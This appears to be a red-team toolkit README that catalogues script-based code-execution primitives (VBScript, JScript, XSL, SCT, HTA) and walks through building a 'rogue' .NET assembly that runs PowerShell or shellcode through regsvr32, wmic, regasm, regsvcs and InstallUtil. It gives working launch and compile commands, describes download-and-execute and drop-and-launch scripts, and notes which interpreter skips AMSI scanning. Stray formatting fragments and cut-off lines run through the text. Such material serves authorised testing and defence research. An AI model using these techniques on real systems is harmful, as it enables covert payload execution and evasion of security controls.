### A small collection of unobfuscated code-execution primitives in different languages
|
||||
|
||||
A handy collection of small primitives/templates useulf for code-execution, downloading or otherwise offensive purposes. Whenever a quick sample of VBScript/JScript/C# code is needed - this directory should bring you one.
|
||||
|
||||
Windows Script Host (WSH) subsystem can execute VBScript/JScript scritplets using two pre-installed interpreters:
|
||||
|
||||
- `cscript.exe` - to be used for command-line, dynamic script execution. **Doesn't load AMSI**
|
||||
|
||||
- `wscript.exe` - For general scripts execution. **This one loads AMSI**
|
||||
|
||||
|
||||
---
|
||||
|
||||
#### VBScript
|
||||
|
||||
- **`download-file-and-exec.vbs`** - Downloads a binary file using `Msxml2.ServerXMLHTTP`, stores it to the disk `Adodb.Stream` and then launches it via `Wscript.Shell Run`
|
||||
|
||||
- **`wmi-exec-command.vbs`** - Example of VBScript code execution via WMI class' `Win32_Process` static method `Create`
|
||||
|
||||
- **`wscript-shell-code-exec.vbs`** - Code execution via `WScript.Shell` in a hidden window.
|
||||
|
||||
- **`wscript-shell-stdin-code-exec.vbs`** - Code execution via `WScript.Shell` in a hidden window through a command passed from StdIn to `powershell`
|
||||
|
||||
|
||||
---
|
||||
|
||||
#### JScript
|
||||
|
||||
|
||||
---
|
||||
|
||||
#### XSL
|
||||
|
||||
XSL files can be executed in the following ways:
|
||||
|
||||
- Using `wmic.exe`:
|
||||
```
|
||||
wmic os get /format:"jscript-xslt-template.xsl"
|
||||
```
|
||||
|
||||
Templates:
|
||||
|
||||
- **`hello-world-jscript-xslt.xsl`** - A sample backbone for XSLT file with JScript code showing a simple message box.
|
||||
|
||||
- **`wscript-shell-run-jscript-xslt.xsl`** - JScript XSLT with `WScript.Shell.Run` method
|
||||
|
||||
|
||||
|
||||
---
|
||||
|
||||
#### COM Scriptlets
|
||||
|
||||
Sample code execution with `regsvr32` can be following:
|
||||
```
|
||||
regsvr32 /u /n /s /i:wscript-shell-run-jscript-scriptlet.sct scrobj.dll
|
||||
```
|
||||
|
||||
- **`wscript-shell-run-jscript-scriptlet.sct`** - SCT file with JSCript code execution via `WScript.Shell.Run`
|
||||
|
||||
|
||||

|
||||
|
||||
#### HTA
|
||||
|
||||
HTA files are HTML Applications

|
||||
|
||||
- **`download-powershell-and-exec-via-stdin`** - Downloads a Powershell script/commands from a given URL and passes them to _Powershell_'s `StdIn`
|
||||
|
||||
- **`drop-binary-file-and-launch.vbs`** - Drops embedded base64 encoded binary file to disk and then launches it.
|
||||
|
||||
- **`wmi-exec-command.vbs`** - Example of VBScript code execution via WMI class' `Win32_Process` static method `Create`
|

## Rogue .NET Assembly for Regsvcs/Regasm/InstallUtil Code Execution
|
||||
|
||||
Follow below described steps to properly generate your source code and then compile it into a nice rogue .NET Assembly ready to be executed by:
|
||||
|
||||
- [Regasm](https://lolbas-project.github.io/lolbas/Binaries/Regasm/)
|
||||
- [Regsvcs](https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/)
|
||||
- [InstallUtil](https://lolbas-project.github.io/lolbas/Binaries/Installutil/)
|
||||
|
||||
### Step 1: Generate key.snk file
|
||||
|
||||
```
|
||||
powershell -file build.ps1
|
||||
```
|
||||
|
||||
### Step 2: Generate source code file
|
||||
|
||||
Included in this directory script is a helper utility allowing one to quickly generate desired csharp source code file to be used for further `csc` compilation.
|
||||
|
||||
Usage:
|
||||
|
||||
```
|
||||
python3 generateRogueDotNet.py --help
|
||||
|
||||
:: Rogue .NET Source Code Generation Utility
|
||||
To be used during Red-Team assignments to launch Powershell/Shellcode payloads via Regsvcs/Regasm/InstallUtil.
|
||||
Mariusz B. / mgeeky, <mb@binary-offensive.com>
|
||||
|
||||
usage: .\generateRogueDotNet.py [options] <inputFile>
|
||||
|
||||
positional arguments:
|
||||
inputFile Input file to be embeded within C# code. May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file.
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-e, --exe Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!
|
||||
-r, --raw Specified input file is a raw Shellcode to be injected in self process in a separate Thread.
|
||||
```
|
||||
|
||||
Sample use case:
|
||||
|
||||
```
|
||||
python3 generateRogueDotNet.py -r notepad64.bin > program.cs
|
||||
|
||||
:: Rogue .NET Source Code Generation Utility
|
||||
To be used during Red-Team assignments to launch Powershell/Shellcode payloads via Regsvcs/Regasm/InstallUtil.
|
||||
Mariusz B. / mgeeky, <mb@binary-offensive.com>
|
||||
|
||||
[?] File specified as raw Shellcode.
|
||||
|
||||
```
|
||||
|
||||
|
||||
### Step 3: Compilate library .NET Assembly
|
||||
|
||||
```
|
||||
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:rogue.dll /keyfile:key.snk program.cs
|
||||
```
|
||||
|
||||
If you passed Powershell code to be launched in a .NET Runspace, then an additional assembly will have to be used to compile resulting source code properly - meaning System.Management.Automation.dll (provided with this script). Then proper compilation command will be:
|
||||
|
||||
```
|
||||
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.Management.Automation.dll /target:library /out:rogue.dll /keyfile:key.snk program.cs
|
||||
```
|
||||
|
||||
|
||||
### Step 4: Code execution via Regsvcs, Regasm or InstallUtil:
|
||||
|
||||
- x86:
|
||||
```
|
||||
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regasm.exe rogue.dll
